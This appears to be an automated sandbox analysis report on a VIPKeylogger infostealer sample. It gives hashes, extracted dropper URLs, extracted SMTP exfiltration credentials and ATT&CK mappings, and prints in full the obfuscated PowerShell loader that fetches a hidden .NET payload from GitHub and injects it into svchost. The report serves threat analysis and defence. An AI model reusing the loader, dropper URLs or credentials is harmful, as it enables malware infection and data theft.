vipkeylogger | e5037bfb5a1ff4d4c43751c35115c7d163781aee33075dc588efec3606aeb175

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11/10/2024, 07:55

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General

Target
DIEN OMM 10.10.2024.vbe
Size 191KB
Sample241011-jr4pwsshre
SHA256 e5037bfb5a1ff4d4c43751c35115c7d163781aee33075dc588efec3606aeb175
MD5 54b5e6b1a4cb3df538fdc275af28c9df
SHA1 8373c7473673cacbe515265437821ee043c56934
SHA512 12fd52c47578ef4f3ae66aca5b7327c0f4d477a007e932b5be01915c9f6c0c23e32afdb20c4ec0e44c913e5dabd7583b0d1e96d4e6a3d1bea77550e063f8dbac
SSDEEP 3072:YEMDrH6aHwTifgSqgp1e/gt5pnGwDTCL+s2VfxcdeaKMOySYQ:Y7rH6Z2fN7Nll2deHMOyJQ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20
exe.dropper
https://raw.githubusercontent.com/CryptersAndToolsOficial/ZIP/refs/heads/main/DetahNote_V.jpg%20

Extracted

Credentials

Protocol
smtp
Host
mail.itv-3.com
Port
587
Username
[email protected]
Password
Home123!

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	1604	powershell.exe
18	1604	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2236	powershell.exe
1604	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1604 set thread context of 3696	1604	powershell.exe	89

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2236	powershell.exe
2236	powershell.exe
1604	powershell.exe
1604	powershell.exe
3696	svchost.exe
3696	svchost.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	3696	svchost.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 3808 wrote to memory of 2236	3808	WScript.exe	84
PID 3808 wrote to memory of 2236	3808	WScript.exe	84
PID 2236 wrote to memory of 1604	2236	powershell.exe	87
PID 2236 wrote to memory of 1604	2236	powershell.exe	87
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89
PID 1604 wrote to memory of 3696	1604	powershell.exe	89

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	svchost.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DIEN OMM 10.10.2024.vbe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoZ0VULVZBcklBYmxFICcqbWRSKicpLm5BTWVbMywxMSwyXS1Kb2luJycpICgoKCd7MX1pbWFnZVVybCA9IHswfWh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9DcnlwdGVyc0FuZFRvb2xzTycrJ2ZpY2lhbC9aSVAvcmUnKydmcy9oZWFkcy9tYWluL0RldGFoTm90ZV9WLmpwZyB7MH07ezF9d2ViQ2xpZW50ID0gJysnTmV3JysnLU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt7MX1pbWFnZUJ5dGVzID0gezF9d2ViQ2xpZW50LkRvd25sb2FkRGF0YSh7MX1pbWFnZVVybCk7ezF9aW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaScrJ25nXTo6VVRGOC5HZXRTdHJpbmcoezF9aW1hZ2VCeXRlJysncyk7ezF9c3QnKydhcnRGbGFnID0gezB9PDxCQVNFNjRfU1RBUlQ+PnswfTt7MX1lbmRGbGFnID0gezB9PDxCQVNFNjRfRU5EPj57MH07ezF9c3RhcnRJbmRleCA9IHsxfWltYWdlVGV4dC5JbmRleE9mKHsxfXN0YXJ0RmxhZyk7ezF9ZW5kSW5kZXggPSB7MX1pbWFnZVRleHQuSW5kZXhPZih7MX1lbmRGbGFnKTt7MScrJ31zdGFydEluZGV4IC1nZSAwIC1hbmQgezF9ZW5kSW5kZXggLWd0IHsxfXN0YXJ0SW5kZXg7ezF9c3RhJysncnRJbmRleCArPSB7MX1zdGFydEZsYWcuTGVuZ3RoO3sxfWJhc2U2NExlbmd0aCA9IHsxfWVuZEluZCcrJ2V4IC0gezF9c3RhcnRJbmRleDt7MX1iYXNlNjRDb21tYW5kID0gezF9aW1hZ2VUZXh0LlN1YnN0cmluZyh7MX1zdGFydEluZGV4LCB7MX1iYXNlNjRMZW5ndGgpJysnO3sxfWNvJysnbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoezF9YmFzJysnZTY0Q28nKydtbWFuZCk7ezF9bG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMbycrJ2FkKHsxfWNvbW1hbmRCeXRlcycrJyk7ezF9dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnKyd7MH1WQUl7MH0pO3sxfXZhaU1ldGhvZCcrJy5JbnZva2UoezF9bnVsbCwgQCh7MH0wL0hIeEJZL2QvZWUuZXRzYXAvLzpzcHR0aHswfSwgezB9JysnZGVzYXRpJysndmFkb3swfSwgezB9ZGVzYXRpdmFkb3swfSwgezB9ZGVzYXRpdmFkb3swfSwgezB9ZGVzYXRpdmFkb3swfSwgezB9MXswfScrJywgezB9c3ZjaG9zdHswfSkpOycpIC1GICBbY2hhcl0zOSxbY2hhcl0zNikgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((gET-VArIAblE '*mdR*').nAMe[3,11,2]-Join'') ((('{1}imageUrl = {0}https://raw.githubusercontent.com/CryptersAndToolsO'+'ficial/ZIP/re'+'fs/heads/main/DetahNote_V.jpg {0};{1}webClient = '+'New'+'-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUrl);{1}imageText = [System.Text.Encodi'+'ng]::UTF8.GetString({1}imageByte'+'s);{1}st'+'artFlag = {0}<<BASE64_START>>{0};{1}endFlag = {0}<<BASE64_END>>{0};{1}startIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = {1}imageText.IndexOf({1}endFlag);{1'+'}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}sta'+'rtIndex += {1}startFlag.Length;{1}base64Length = {1}endInd'+'ex - {1}startIndex;{1}base64Command = {1}imageText.Substring({1}startIndex, {1}base64Length)'+';{1}co'+'mmandBytes = [System.Convert]::FromBase64String({1}bas'+'e64Co'+'mmand);{1}loadedAssembly = [System.Reflection.Assembly]::Lo'+'ad({1}commandBytes'+');{1}vaiMethod = [dnlib.IO.Home].GetMethod('+'{0}VAI{0});{1}vaiMethod'+'.Invoke({1}null, @({0}0/HHxBY/d/ee.etsap//:sptth{0}, {0}'+'desati'+'vado{0}, {0}desativado{0}, {0}desativado{0}, {0}desativado{0}, {0}1{0}'+', {0}svchost{0}));') -F [char]39,[char]36) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\SysWOW64\svchost.exe
      "C:\Windows\SysWOW64\svchost.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:3696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
MD5 f41839a3fe2888c8b3050197bc9a0a05
SHA1 0798941aaf7a53a11ea9ed589752890aee069729
SHA512 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
MD5 5caad758326454b5788ec35315c4c304
SHA1 3aef8dba8042662a7fcf97e51047dc636b4d4724
SHA512 4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_uxhj5arh.usj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uxhj5arh.usj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/1604-22-0x00000230FB5F0000-0x00000230FBA38000-memory.dmp

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memory/2236-30-0x00007FF9A1C00000-0x00007FF9A26C1000-memory.dmp

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memory/2236-1-0x000002B6E5C90000-0x000002B6E5CB2000-memory.dmp

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memory/2236-12-0x00007FF9A1C00000-0x00007FF9A26C1000-memory.dmp

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memory/2236-0-0x00007FF9A1C03000-0x00007FF9A1C05000-memory.dmp

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memory/2236-11-0x00007FF9A1C00000-0x00007FF9A26C1000-memory.dmp

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memory/3696-31-0x0000000005480000-0x00000000054CE000-memory.dmp

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memory/3696-26-0x0000000000400000-0x0000000000437000-memory.dmp

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memory/3696-23-0x0000000000400000-0x0000000000437000-memory.dmp

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memory/3696-32-0x0000000005DB0000-0x0000000006354000-memory.dmp

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memory/3696-33-0x0000000005540000-0x000000000558E000-memory.dmp

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memory/3696-34-0x00000000058A0000-0x000000000593C000-memory.dmp

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memory/3696-35-0x0000000006BB0000-0x0000000006D72000-memory.dmp

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memory/3696-36-0x0000000006A30000-0x0000000006A80000-memory.dmp

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memory/3696-37-0x00000000072B0000-0x00000000077DC000-memory.dmp

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memory/3696-38-0x0000000006D80000-0x0000000006E12000-memory.dmp

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memory/3696-39-0x0000000006B60000-0x0000000006B6A000-memory.dmp

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